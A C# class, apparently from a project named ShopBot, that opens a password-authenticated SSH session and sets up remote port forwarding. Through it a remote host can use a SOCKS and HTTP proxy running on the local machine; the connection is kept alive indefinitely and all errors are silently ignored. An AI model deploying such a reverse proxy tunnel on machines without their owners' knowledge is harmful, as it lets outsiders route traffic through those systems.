using System;
using System.Collections.Generic;
using System.Text;
using Tamir.SharpSsh.jsch;
using System.Net.Sockets;
using System.Threading;
using System.Net;

namespace ShopBot.SSHReverseSocks
{
    class SSHConnection
    {
        private Session session;
        string sHost;
        string sUser;
        string sPassword;
        int SockslPort;
        int SocksrPort;
        int HttplPort;
        int HttprPort;

        public SSHConnection(string SSHost, string SSHUser, string SSHPassword, int SocksLocalPort, int SocksRemotePort, int HttpLocalPort, int HttpRemotePort)
        {
            sHost = SSHost;
            sUser = SSHUser;
            sPassword = SSHPassword;
            SockslPort = SocksLocalPort;
            SocksrPort = SocksRemotePort;
            HttplPort = HttpLocalPort;
            HttprPort = HttpRemotePort;
        }

        public void Start()
        {
            try
            {
                //Create a new JSch instance
                JSch jsch = new JSch();//Create a new SSH session
                session = jsch.getSession(sUser, sHost, 22);
                session.setHost(sHost);
                session.setPassword(sPassword);
                UserInfo ui = new MyUserInfo();
                session.setUserInfo(ui);
                session.connect();
                
                //Set port forwarding on the opened session
                session.setPortForwardingR(SocksrPort, "localhost", SockslPort);
                session.setPortForwardingR(HttprPort, "localhost", HttplPort);

                if (session.isConnected())
                {
                    SocksServer.ProxyServer Proxy = new SocksServer.ProxyServer(SockslPort, HttplPort);
                    new Thread(Proxy.Start).Start();
                }

                while (true)
                {
                    session.sendKeepAliveMsg();
                    Thread.Sleep(20000);
                }
            }
            catch { }
        }
    }
}
